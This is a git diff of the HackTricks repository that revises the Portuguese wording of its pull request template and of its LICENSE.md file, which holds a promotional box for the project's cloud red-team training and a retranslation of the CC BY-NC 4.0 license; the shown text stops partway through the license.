diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index ed57668ee..6ae7f9764 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,4 +1,6 @@ -## Atribuição -Valorizamos o seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que está apenas fazendo upload de conteúdo que você possui ou tem permissão explícita do autor original para usar. Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos. +Você pode remover este conteúdo antes de enviar o PR: -Obrigado por contribuir com o HackTricks! +## Atribuição +Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faz upload de conteúdo que você possui ou que tem permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos. + +Obrigado por contribuir para o HackTricks! diff --git a/LICENSE.md b/LICENSE.md index 2a10d7975..3fed3e410 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,20 +1,20 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -Licença Creative Commons
Direitos autorais © Carlos Polop 2021. Exceto onde especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em HACK TRICKS por Carlos Polop está licenciado sob a Licença Internacional Creative Commons Atribuição-NãoComercial 4.0 (CC BY-NC 4.0). +Licença Creative Commons
Copyright © Carlos Polop 2021. Exceto onde especificado de outra forma (as informações externas copiadas para o livro pertencem aos autores originais), o texto em HACK TRICKS por Carlos Polop é licenciado sob a Licença Creative Commons Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0). Licença: Atribuição-NãoComercial 4.0 Internacional (CC BY-NC 4.0)
Licença Legível por Humanos: https://creativecommons.org/licenses/by-nc/4.0/
@@ -25,173 +25,175 @@ Formatação: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/ # Atribuição-NãoComercial 4.0 Internacional -A Creative Commons Corporation ("Creative Commons") não é um escritório de advocacia e não fornece serviços jurídicos ou aconselhamento jurídico. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas "como estão". A Creative Commons não oferece garantias em relação às suas licenças, a qualquer material licenciado sob seus termos e condições, ou a qualquer informação relacionada. A Creative Commons se isenta de toda responsabilidade por danos resultantes de seu uso na maior medida possível. +A Creative Commons Corporation (“Creative Commons”) não é um escritório de advocacia e não fornece serviços jurídicos ou aconselhamento jurídico. A distribuição de licenças públicas da Creative Commons não cria uma relação advogado-cliente ou outra relação. A Creative Commons disponibiliza suas licenças e informações relacionadas em uma base "como está". A Creative Commons não oferece garantias em relação às suas licenças, qualquer material licenciado sob seus termos e condições, ou qualquer informação relacionada. A Creative Commons se isenta de toda responsabilidade por danos resultantes de seu uso na máxima extensão possível. ## Usando Licenças Públicas da Creative Commons -As licenças públicas da Creative Commons fornecem um conjunto padrão de termos e condições que os criadores e outros detentores de direitos podem usar para compartilhar obras originais de autoria e outros materiais sujeitos a direitos autorais e certos outros direitos especificados na licença pública abaixo. As considerações a seguir são apenas para fins informativos, não são exaustivas e não fazem parte de nossas licenças. +As licenças públicas da Creative Commons fornecem um conjunto padrão de termos e condições que criadores e outros detentores de direitos podem usar para compartilhar obras originais de autoria e outros materiais sujeitos a direitos autorais e certos outros direitos especificados na licença pública abaixo. As seguintes considerações são apenas para fins informativos, não são exaustivas e não fazem parte de nossas licenças. -* __Considerações para licenciadores:__ Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar permissão pública para usar material de maneiras de outra forma restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolherem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material que não esteja sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +* __Considerações para licenciadores:__ Nossas licenças públicas são destinadas ao uso por aqueles autorizados a dar ao público permissão para usar material de maneiras que de outra forma seriam restritas por direitos autorais e certos outros direitos. Nossas licenças são irrevogáveis. Os licenciadores devem ler e entender os termos e condições da licença que escolhem antes de aplicá-la. Os licenciadores também devem garantir todos os direitos necessários antes de aplicar nossas licenças para que o público possa reutilizar o material conforme esperado. Os licenciadores devem marcar claramente qualquer material que não esteja sujeito à licença. Isso inclui outro material licenciado pela CC, ou material usado sob uma exceção ou limitação ao direito autoral. [Mais considerações para licenciadores](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). -* __Considerações para o público:__ Ao usar uma de nossas licenças públicas, um licenciador concede permissão pública para usar o material licenciado sob termos e condições específicos. Se a permissão do licenciador não for necessária por qualquer motivo - por exemplo, devido a qualquer exceção ou limitação aplicável ao direito autoral - então esse uso não é regulamentado pela licença. Nossas licenças concedem apenas permissões sob direitos autorais e certos outros direitos que um licenciador tem autoridade para conceder. O uso do material licenciado ainda pode ser restrito por outros motivos, incluindo porque outros têm direitos autorais ou outros direitos sobre o material. Um licenciador pode fazer solicitações especiais, como pedir que todas as alterações sejam marcadas ou descritas. Embora não seja exigido por nossas licenças, você é encorajado a respeitar essas solicitações quando razoável. [Mais considerações para o público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). +* __Considerações para o público:__ Ao usar uma de nossas licenças públicas, um licenciador concede ao público permissão para usar o material licenciado sob termos e condições especificados. Se a permissão do licenciador não for necessária por qualquer motivo – por exemplo, devido a qualquer exceção ou limitação aplicável ao direito autoral – então esse uso não é regulado pela licença. Nossas licenças concedem apenas permissões sob direitos autorais e certos outros direitos que um licenciador tem autoridade para conceder. O uso do material licenciado ainda pode ser restrito por outros motivos, incluindo porque outros têm direitos autorais ou outros direitos sobre o material. Um licenciador pode fazer solicitações especiais, como pedir que todas as alterações sejam marcadas ou descritas. Embora não seja exigido por nossas licenças, você é incentivado a respeitar essas solicitações quando razoável. [Mais considerações para o público](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). -# Licença Pública Internacional Creative Commons Atribuição-NãoComercial 4.0 +# Licença Pública de Atribuição-NãoComercial 4.0 Internacional da Creative Commons -Ao exercer os Direitos Licenciados (definidos abaixo), Você aceita e concorda em ficar vinculado pelos termos e condições desta Licença Pública Internacional Creative Commons Atribuição-NãoComercial 4.0 ("Licença Pública"). Na medida em que esta Licença Pública possa ser interpretada como um contrato, Você recebe os Direitos Licenciados em consideração à sua aceitação destes termos e condições, e o Licenciante concede a Você tais direitos em consideração aos benefícios que o Licenciante recebe ao disponibilizar o Material Licenciado sob estes termos e condições. +Ao exercer os Direitos Licenciados (definidos abaixo), Você aceita e concorda em estar vinculado pelos termos e condições desta Licença Pública de Atribuição-NãoComercial 4.0 Internacional ("Licença Pública"). Na medida em que esta Licença Pública possa ser interpretada como um contrato, Você recebe os Direitos Licenciados em consideração à sua aceitação destes termos e condições, e o Licenciante concede a Você tais direitos em consideração aos benefícios que o Licenciante recebe ao disponibilizar o Material Licenciado sob estes termos e condições. -## Seção 1 - Definições. +## Seção 1 – Definições. -a. __Material Adaptado__ significa material sujeito a Direitos Autorais e Direitos Semelhantes que é derivado ou baseado no Material Licenciado e no qual o Material Licenciado é traduzido, alterado, organizado, transformado ou de outra forma modificado de maneira que exija permissão nos Direitos Autorais e Direitos Semelhantes detidos pelo Licenciante. Para fins desta Licença Pública, quando o Material Licenciado é uma obra musical, performance ou gravação sonora, o Material Adaptado é sempre produzido quando o Material Licenciado é sincronizado em relação temporal com uma imagem em movimento. +a. __Material Adaptado__ significa material sujeito a Direitos Autorais e Direitos Similares que é derivado ou baseado no Material Licenciado e no qual o Material Licenciado é traduzido, alterado, arranjado, transformado ou de outra forma modificado de uma maneira que requer permissão sob os Direitos Autorais e Direitos Similares detidos pelo Licenciante. Para fins desta Licença Pública, onde o Material Licenciado é uma obra musical, performance ou gravação sonora, o Material Adaptado é sempre produzido onde o Material Licenciado é sincronizado em relação temporal com uma imagem em movimento. -b. __Licença do Adaptador__ significa a licença que Você aplica aos Seus Direitos Autorais e Direitos Semelhantes em Suas contribuições ao Material Adaptado de acordo com os termos e condições desta Licença Pública. +b. __Licença do Adaptador__ significa a licença que Você aplica aos seus Direitos Autorais e Direitos Similares em suas contribuições para Material Adaptado de acordo com os termos e condições desta Licença Pública. -c. __Direitos Autorais e Direitos Semelhantes__ significa direitos autorais e/ou direitos semelhantes intimamente relacionados aos direitos autorais, incluindo, sem limitação, performance, transmissão, gravação sonora e Direitos de Banco de Dados Sui Generis, independentemente de como os direitos são rotulados ou categorizados. Para fins desta Licença Pública, os direitos especificados na Seção 2(b)(1)-(2) não são Direitos Autorais e Direitos Semelhantes. +c. __Direitos Autorais e Direitos Similares__ significam direitos autorais e/ou direitos similares intimamente relacionados a direitos autorais, incluindo, sem limitação, performance, transmissão, gravação sonora e Direitos de Banco de Dados Sui Generis, sem considerar como os direitos são rotulados ou categorizados. Para fins desta Licença Pública, os direitos especificados na Seção 2(b)(1)-(2) não são Direitos Autorais e Direitos Similares. -d. __Medidas Tecnológicas Eficazes__ significa aquelas medidas que, na ausência de autoridade adequada, não podem ser contornadas sob leis que cumprem obrigações nos termos do Artigo 11 do Tratado de Direito de Autor da OMPI adotado em 20 de dezembro de 1996 e/ou acordos internacionais semelhantes. +d. __Medidas Tecnológicas Eficazes__ significam aquelas medidas que, na ausência de autoridade adequada, não podem ser contornadas sob leis que cumpram obrigações sob o Artigo 11 do Tratado de Direitos Autorais da OMPI adotado em 20 de dezembro de 1996, e/ou acordos internacionais similares. -e. __Exceções e Limitações__ significa uso justo, uso permitido e/ou qualquer outra exceção ou limitação aos Direitos Autorais e Direitos Semelhantes que se aplique ao seu uso do Material Licenciado. +e. __Exceções e Limitações__ significam uso justo, negociação justa e/ou qualquer outra exceção ou limitação aos Direitos Autorais e Direitos Similares que se aplicam ao seu uso do Material Licenciado. f. __Material Licenciado__ significa a obra artística ou literária, banco de dados ou outro material ao qual o Licenciante aplicou esta Licença Pública. -g. __Direitos Licenciados__ significa os direitos concedidos a Você sujeitos aos termos e condições desta Licença Pública, que são limitados a todos os Direitos Autorais e Direitos Semelhantes que se aplicam ao seu uso do Material Licenciado e que o Licenciante tem autoridade para licenciar. +g. __Direitos Licenciados__ significam os direitos concedidos a Você sujeitos aos termos e condições desta Licença Pública, que são limitados a todos os Direitos Autorais e Direitos Similares que se aplicam ao seu uso do Material Licenciado e que o Licenciante tem autoridade para licenciar. -h. __Licenciante__ significa o(s) indivíduo(s) ou entidade(s) concedendo direitos sob esta Licença Pública. +h. __Licenciante__ significa o(s) indivíduo(s) ou entidade(s) que concedem direitos sob esta Licença Pública. -i. __NãoComercial__ significa não principalmente destinado a ou direcionado para vantagem comercial ou compensação monetária. Para fins desta Licença Pública, a troca do Material Licenciado por outro material sujeito a Direitos Autorais e Direitos Semelhantes por compartilhamento de arquivos digitais ou meios semelhantes é NãoComercial, desde que não haja pagamento de compensação monetária em conexão com a troca. +i. __NãoComercial__ significa não destinado principalmente a ou direcionado para vantagem comercial ou compensação monetária. Para fins desta Licença Pública, a troca do Material Licenciado por outro material sujeito a Direitos Autorais e Direitos Similares por meio de compartilhamento de arquivos digitais ou meios similares é NãoComercial, desde que não haja pagamento de compensação monetária em conexão com a troca. -j. __Compartilhar__ significa fornecer material ao público por qualquer meio ou processo que exija permissão nos Direitos Licenciados, como reprodução, exibição pública, execução pública, distribuição, disseminação, comunicação ou importação, e disponibilizar material ao público, incluindo de maneiras que os membros do público possam acessar o material de um local e em um momento escolhidos individualmente por eles. +j. __Compartilhar__ significa fornecer material ao público por qualquer meio ou processo que requer permissão sob os Direitos Licenciados, como reprodução, exibição pública, performance pública, distribuição, disseminação, comunicação ou importação, e tornar o material disponível ao público, incluindo de maneiras que os membros do público possam acessar o material de um lugar e em um momento individualmente escolhido por eles. -k. __Direitos de Banco de Dados Sui Generis__ significa direitos que não sejam direitos autorais resultantes da Diretiva 96/9/CE do Parlamento Europeu e do Conselho de 11 de março de 1996 sobre a proteção jurídica de bancos de dados, conforme alterada e/ou sucedida, bem como outros direitos essencialmente equivalentes em qualquer lugar do mundo. +k. __Direitos de Banco de Dados Sui Generis__ significam direitos além dos direitos autorais resultantes da Diretiva 96/9/CE do Parlamento Europeu e do Conselho de 11 de março de 1996 sobre a proteção legal de bancos de dados, conforme alterada e/ou sucedida, bem como outros direitos essencialmente equivalentes em qualquer lugar do mundo. l. __Você__ significa o indivíduo ou entidade que exerce os Direitos Licenciados sob esta Licença Pública. Seu tem um significado correspondente. -## Seção 2 - Escopo. + +## Seção 2 – Escopo. a. ___Concessão de licença.___ -1. Sujeito aos termos e condições desta Licença Pública, o Licenciante concede a Você uma licença mundial, livre de royalties, não sublicenciável, não exclusiva e irrevogável para exercer os Direitos Licenciados no Material Licenciado para: +1. Sujeito aos termos e condições desta Licença Pública, o Licenciante concede a Você uma licença mundial, isenta de royalties, não sublicenciável, não exclusiva e irrevogável para exercer os Direitos Licenciados no Material Licenciado para: -A. reproduzir e Compartilhar o Material Licenciado, na íntegra ou em parte, apenas para fins NãoComerciais; e +A. reproduzir e Compartilhar o Material Licenciado, total ou parcialmente, apenas para fins NãoComerciais; e B. produzir, reproduzir e Compartilhar Material Adaptado apenas para fins NãoComerciais. -2. __Exceções e Limitações.__ Para evitar dúvidas, quando Exceções e Limitações se aplicam ao seu uso, esta Licença Pública não se aplica, e Você não precisa cumprir com seus termos e condições. +2. __Exceções e Limitações.__ Para evitar dúvidas, onde Exceções e Limitações se aplicam ao seu uso, esta Licença Pública não se aplica, e Você não precisa cumprir seus termos e condições. 3. __Prazo.__ O prazo desta Licença Pública é especificado na Seção 6(a). -4. __Mídias e formatos; modificações técnicas permitidas.__ O Licenciante autoriza Você a exercer os Direitos Licenciados em todas as mídias e formatos, quer agora conhecidos ou criados no futuro, e a fazer modificações técnicas necessárias para isso. O Licenciante renuncia e/ou concorda em não afirmar qualquer direito ou autoridade para proibi-lo de fazer modificações técnicas necessárias para exercer os Direitos Licenciados, incluindo modificações técnicas necessárias para contornar Medidas Tecnológicas Eficazes. Para fins desta Licença Pública, simplesmente fazer modificações autorizadas por esta Seção 2(a)(4) nunca produz Material Adaptado. +4. __Mídia e formatos; modificações técnicas permitidas.__ O Licenciante autoriza Você a exercer os Direitos Licenciados em todos os meios e formatos, sejam agora conhecidos ou criados posteriormente, e a fazer modificações técnicas necessárias para fazê-lo. O Licenciante renuncia e/ou concorda em não afirmar qualquer direito ou autoridade para proibir Você de fazer modificações técnicas necessárias para exercer os Direitos Licenciados, incluindo modificações técnicas necessárias para contornar Medidas Tecnológicas Eficazes. Para fins desta Licença Pública, simplesmente fazer modificações autorizadas por esta Seção 2(a)(4) nunca produz Material Adaptado. -5. __Destinatários posteriores.__ +5. __Recipientes a jusante.__ -A. __Oferta do Licenciante - Material Licenciado.__ Todo destinatário do Material Licenciado recebe automaticamente uma oferta do Licenciante para exercer os Direitos Licenciados sob os termos e condições desta Licença Pública. +A. __Oferta do Licenciante – Material Licenciado.__ Cada recipiente do Material Licenciado recebe automaticamente uma oferta do Licenciante para exercer os Direitos Licenciados sob os termos e condições desta Licença Pública. -B. __Sem restrições aos destinatários posteriores.__ Você não pode oferecer ou impor quaisquer termos ou condições adicionais ou diferentes, ou aplicar quaisquer Medidas Tecnológicas Eficazes ao Material Licenciado, se isso restringir o exercício dos Direitos Licenciados por qualquer destinatário do Material Licenciado. +B. __Sem restrições a jusante.__ Você não pode oferecer ou impor quaisquer termos ou condições adicionais ou diferentes sobre, ou aplicar quaisquer Medidas Tecnológicas Eficazes ao, Material Licenciado se isso restringir o exercício dos Direitos Licenciados por qualquer recipiente do Material Licenciado. -6. __Sem endosso.__ Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que Você está, ou que seu uso do Material Licenciado está, conectado, ou patrocinado, endossado ou concedido status oficial por, o Licenciante ou outros designados para receber atribuição conforme fornecido na Seção 3(a)(1)(A)(i). +6. __Nenhum endosse.__ Nada nesta Licença Pública constitui ou pode ser interpretado como permissão para afirmar ou implicar que Você é, ou que seu uso do Material Licenciado é, conectado a, ou patrocinado, endossado ou concedido status oficial pelo, Licenciante ou outros designados para receber atribuição conforme previsto na Seção 3(a)(1)(A)(i). b. ___Outros direitos.___ -1. Direitos morais, como o direito de integridade, não são licenciados sob esta Licença Pública, nem são os direitos de publicidade, privacidade e/ou outros direitos de personalidade semelhantes; no entanto, na medida do possível, o Licenciante renuncia e/ou concorda em não afirmar quaisquer direitos desse tipo detidos pelo Licenciante na medida limitada necessária para permitir que Você exerça os Direitos Licenciados, mas não de outra forma. +1. Direitos morais, como o direito de integridade, não são licenciados sob esta Licença Pública, nem são direitos de publicidade, privacidade e/ou outros direitos de personalidade similares; no entanto, na medida do possível, o Licenciante renuncia e/ou concorda em não afirmar quaisquer desses direitos detidos pelo Licenciante na medida limitada necessária para permitir que Você exerça os Direitos Licenciados, mas não de outra forma. -2. Direitos de patente e marca não são licenciados sob esta Licença Pública. +2. Direitos de patente e marca registrada não são licenciados sob esta Licença Pública. -3. Na medida do possível, o Licenciante renuncia a qualquer direito de cobrar royalties de Você pelo exercício dos Direitos Licenciados, seja diretamente ou por meio de uma sociedade de arrecadação sob qualquer esquema de licenciamento voluntário ou compulsório renunciável. Em todos os outros casos, o Licenciante reserva expressamente qualquer direito de cobrar tais royalties, incluindo quando o Material Licenciado é usado para fins que não sejam NãoComerciais. +3. Na medida do possível, o Licenciante renuncia a qualquer direito de coletar royalties de Você pelo exercício dos Direitos Licenciados, seja diretamente ou através de uma sociedade de cobrança sob qualquer esquema de licenciamento voluntário ou renunciável. Em todos os outros casos, o Licenciante reserva expressamente qualquer direito de coletar tais royalties, incluindo quando o Material Licenciado é usado de outra forma que não para fins NãoComerciais. -## Seção 3 - Condições da Licença. +## Seção 3 – Condições da Licença. -Seu exercício dos Direitos Licenciados está expressamente sujeito às seguintes condições. +Seu exercício dos Direitos Licenciados é expressamente sujeito às seguintes condições. a. ___Atribuição.___ 1. Se Você Compartilhar o Material Licenciado (incluindo em forma modificada), Você deve: -A. manter o seguinte se for fornecido pelo Licenciante com o Material Licenciado: +A. reter o seguinte se for fornecido pelo Licenciante com o Material Licenciado: -i. identificação do(s) criador(es) do Material Licenciado e de outros designados para receber atribuição, de qualquer maneira razoável solicitada pelo Licenciante (incluindo por pseudônimo, se designado); +i. identificação do(s) criador(es) do Material Licenciado e quaisquer outros designados para receber atribuição, de qualquer maneira razoável solicitada pelo Licenciante (incluindo por pseudônimo se designado); -ii. um aviso de direitos autorais; +ii. um aviso de copyright; -iii. um aviso que se refira a esta Licença Pública; +iii. um aviso que se refere a esta Licença Pública; -iv. um aviso que se refira à exclusão de garantias; +iv. um aviso que se refere à isenção de garantias; -v. um URI ou hiperlink para o Material Licenciado na medida do razoavelmente praticável; +v. um URI ou hyperlink para o Material Licenciado na medida razoavelmente prática; -B. indicar se Você modificou o Material Licenciado e manter uma indicação de quaisquer modificações anteriores; e +B. indicar se Você modificou o Material Licenciado e reter uma indicação de quaisquer modificações anteriores; e -C. indicar que o Material Licenciado é licenciado sob esta Licença Pública e incluir o texto, ou o URI ou hiperlink para, esta Licença Pública. +C. indicar que o Material Licenciado é licenciado sob esta Licença Pública, e incluir o texto de, ou o URI ou hyperlink para, esta Licença Pública. -2. Você pode satisfazer as condições na Seção 3(a)(1) de qualquer maneira razoável com base no meio, nos meios e no contexto em que Você Compartilha o Material Licenciado. Por exemplo, pode ser razoável satisfazer as condições fornecendo um URI ou hiperlink para um recurso que inclua as informações necessárias. +2. Você pode satisfazer as condições na Seção 3(a)(1) de qualquer maneira razoável com base no meio, meios e contexto em que Você Compartilha o Material Licenciado. Por exemplo, pode ser razoável satisfazer as condições fornecendo um URI ou hyperlink para um recurso que inclua as informações exigidas. -3. Se solicitado pelo Licenciante, Você deve remover qualquer uma das informações exigidas pela Seção 3(a)(1)(A) na medida do razoavelmente praticável. +3. Se solicitado pelo Licenciante, Você deve remover qualquer uma das informações exigidas pela Seção 3(a)(1)(A) na medida razoavelmente prática. -4. Se Você Compartilhar Material Adaptado que você produz, a Licença do Adaptador que Você aplica não deve impedir que os destinatários do Material Adaptado cumpram com esta Licença Pública. +4. Se Você Compartilhar Material Adaptado que produzir, a Licença do Adaptador que Você aplicar não deve impedir os recipientes do Material Adaptado de cumprir esta Licença Pública. -## Seção 4 - Direitos de Banco de Dados Sui Generis. +## Seção 4 – Direitos de Banco de Dados Sui Generis. -Se os Direitos Licenciados incluírem Direitos de Banco de Dados Sui Generis que se apliquem ao seu uso do Material Licenciado: +Onde os Direitos Licenciados incluem Direitos de Banco de Dados Sui Generis que se aplicam ao seu uso do Material Licenciado: a. para evitar dúvidas, a Seção 2(a)(1) concede a Você o direito de extrair, reutilizar, reproduzir e Compartilhar todo ou uma parte substancial do conteúdo do banco de dados apenas para fins NãoComerciais; -b. se Você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual Você tem Direitos de Banco de Dados Sui Generis, então o banco de dados no qual Você tem Direitos de Banco de Dados Sui Generis (mas não seu conteúdo individual) é Material Adaptado; e +b. se Você incluir todo ou uma parte substancial do conteúdo do banco de dados em um banco de dados no qual Você tenha Direitos de Banco de Dados Sui Generis, então o banco de dados no qual Você tem Direitos de Banco de Dados Sui Generis (mas não seus conteúdos individuais) é Material Adaptado; e c. Você deve cumprir as condições na Seção 3(a) se Você Compartilhar todo ou uma parte substancial do conteúdo do banco de dados. -Para evitar dúvidas, esta Seção 4 complementa e não substitui suas obrigações sob esta Licença Pública onde os Direitos Licenciados incluem outros Direitos Autorais e Direitos Semelhantes. +Para evitar dúvidas, esta Seção 4 complementa e não substitui suas obrigações sob esta Licença Pública onde os Direitos Licenciados incluem outros Direitos Autorais e Direitos Similares. -## Seção 5 - Isenção de Garantias e Limitação de Responsabilidade. +## Seção 5 – Isenção de Garantias e Limitação de Responsabilidade. -a. __A menos que seja separadamente assumido pelo Licenciante, na medida do possível, o Licenciante oferece o Material Licenciado como está e conforme disponível, e não faz representações ou garantias de qualquer tipo sobre o Material Licenciado, seja expressa, implícita, estatutária ou outra. Isso inclui, sem limitação, garantias de título, comercialização, adequação a uma finalidade específica, não violação, ausência de defeitos latentes ou outros, precisão, ou a presença ou ausência de erros, quer conhecidos ou descobertos. Quando as exclusões de garantias não são permitidas na íntegra ou em parte, esta isenção pode não se aplicar a Você.__ +a. __Salvo disposição em contrário separadamente assumida pelo Licenciante, na medida do possível, o Licenciante oferece o Material Licenciado como está e disponível, e não faz representações ou garantias de qualquer tipo sobre o Material Licenciado, sejam expressas, implícitas, estatutárias ou outras. Isso inclui, sem limitação, garantias de título, comercialização, adequação a um propósito específico, não violação, ausência de defeitos latentes ou outros, precisão, ou a presença ou ausência de erros, conhecidos ou descobertos. Onde isenções de garantias não são permitidas total ou parcialmente, esta isenção pode não se aplicar a Você.__ -b. __Na medida do possível, em nenhum caso o Licenciante será responsável perante Você sob qualquer teoria legal (incluindo, sem limitação, negligência) ou de outra forma por quaisquer perdas diretas, especiais, indiretas, incidentais, consequentes, punitivas, exemplares ou outros prejuízos, custos, despesas ou danos decorrentes desta Licença Pública ou uso do Material Licenciado, mesmo que o Licenciante tenha sido avisado da possibilidade de tais perdas, custos, despesas ou danos. Quando uma limitação de responsabilidade não é permitida na íntegra ou em parte, esta limitação pode não se aplicar a Você.__ +b. __Na medida do possível, em nenhuma circunstância o Licenciante será responsável a Você sob qualquer teoria legal (incluindo, sem limitação, negligência) ou de outra forma por quaisquer perdas, custos, despesas ou danos diretos, especiais, indiretos, incidentais, consequenciais, punitivos, exemplares ou outros decorrentes desta Licença Pública ou do uso do Material Licenciado, mesmo que o Licenciante tenha sido avisado da possibilidade de tais perdas, custos, despesas ou danos. Onde uma limitação de responsabilidade não é permitida total ou parcialmente, esta limitação pode não se aplicar a Você.__ -c. A isenção de garantias e a limitação de responsabilidade fornecidas acima devem ser interpretadas de maneira que, na medida do possível, se aproximem de uma isenção absoluta e renúncia de toda responsabilidade. +c. A isenção de garantias e a limitação de responsabilidade fornecidas acima serão interpretadas de uma maneira que, na medida do possível, mais se aproxime de uma isenção absoluta e renúncia de toda responsabilidade. -## Seção 6 - Prazo e Rescisão. +## Seção 6 – Prazo e Rescisão. -a. Esta Licença Pública se aplica pelo prazo dos Direitos Autorais e Direitos Semelhantes licenciados aqui. No entanto, se Você deixar de cumprir com esta Licença Pública, então Seus direitos sob esta Licença Pública terminam automaticamente. +a. Esta Licença Pública se aplica pelo prazo dos Direitos Autorais e Direitos Similares licenciados aqui. No entanto, se Você não cumprir esta Licença Pública, então seus direitos sob esta Licença Pública terminam automaticamente. -b. Quando Seu direito de usar o Material Licenciado terminar sob a Seção 6(a), ele será restabelecido: +b. Onde seu direito de usar o Material Licenciado foi encerrado sob a Seção 6(a), ele é restabelecido: -1. automaticamente a partir da data em que a violação for corrigida, desde que seja corrigida dentro de 30 dias da descoberta da violação por Você; ou +1. automaticamente a partir da data em que a violação é corrigida, desde que seja corrigida dentro de 30 dias após sua descoberta da violação; ou 2. mediante restabelecimento expresso pelo Licenciante. -Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciante possa ter de buscar remédios por Suas violações desta Licença Pública. +Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciante possa ter de buscar remédios para suas violações desta Licença Pública. -c. Para evitar dúvidas, o Licenciante também pode oferecer o Material Licenciado sob termos ou condições separados ou interromper a distribuição do Material Licenciado a qualquer momento; no entanto, fazer isso não irá rescindir esta Licença Pública. +c. Para evitar dúvidas, o Licenciante também pode oferecer o Material Licenciado sob termos ou condições separadas ou parar de distribuir o Material Licenciado a qualquer momento; no entanto, fazer isso não encerrará esta Licença Pública. d. As Seções 1, 5, 6, 7 e 8 sobrevivem à rescisão desta Licença Pública. -## Seção 7 - Outros Termos e Condições. -a. O Licenciante não será vinculado por quaisquer termos ou condições adicionais ou diferentes comunicados por Você, a menos que expressamente acordado. +## Seção 7 – Outros Termos e Condições. -b. Quaisquer acordos, entendimentos ou acordos relativos ao Material Licenciado não declarados aqui são separados e independentes dos termos e condições desta Licença Pública. +a. O Licenciante não será vinculado por quaisquer termos ou condições adicionais ou diferentes comunicados por Você, a menos que expressamente acordados. -## Seção 8 - Interpretação. +b. Quaisquer arranjos, entendimentos ou acordos sobre o Material Licenciado não declarados aqui são separados e independentes dos termos e condições desta Licença Pública. -a. Para evitar dúvidas, esta Licença Pública não reduz, limita, restringe ou impõe condições a qualquer uso do Material Licenciado que possa ser feito legalmente sem permissão sob esta Licença Pública. +## Seção 8 – Interpretação. -b. Na medida do possível, se alguma disposição desta Licença Pública for considerada inexequível, ela será automaticamente reformada para o mínimo necessário para torná-la exequível. Se a disposição não puder ser reformada, ela será separada desta Licença Pública sem afetar a exequibilidade dos termos e condições restantes. +a. Para evitar dúvidas, esta Licença Pública não reduz, limita, restringe ou impõe condições sobre qualquer uso do Material Licenciado que poderia ser legalmente feito sem permissão sob esta Licença Pública. -c. Nenhum termo ou condição desta Licença Pública será renunciado e nenhuma falha em cumprir será consentida, a menos que expressamente acordado pelo Licenciante. +b. Na medida do possível, se qualquer disposição desta Licença Pública for considerada inexequível, ela será automaticamente reformulada na extensão mínima necessária para torná-la exequível. Se a disposição não puder ser reformulada, ela será separada desta Licença Pública sem afetar a exequibilidade dos termos e condições restantes. -d. Nada nesta Licença Pública constitui ou pode ser interpretado como uma limitação ou renúncia de quaisquer privilégios e imunidades que se apliquem ao Licenciante ou a Você, incluindo dos processos legais de qualquer jurisdição ou autoridade. +c. Nenhum termo ou condição desta Licença Pública será renunciado e nenhuma falha em cumprir será consentida, a menos que expressamente acordada pelo Licenciante. + +d. Nada nesta Licença Pública constitui ou pode ser interpretado como uma limitação ou renúncia a quaisquer privilégios e imunidades que se aplicam ao Licenciante ou a Você, incluindo dos 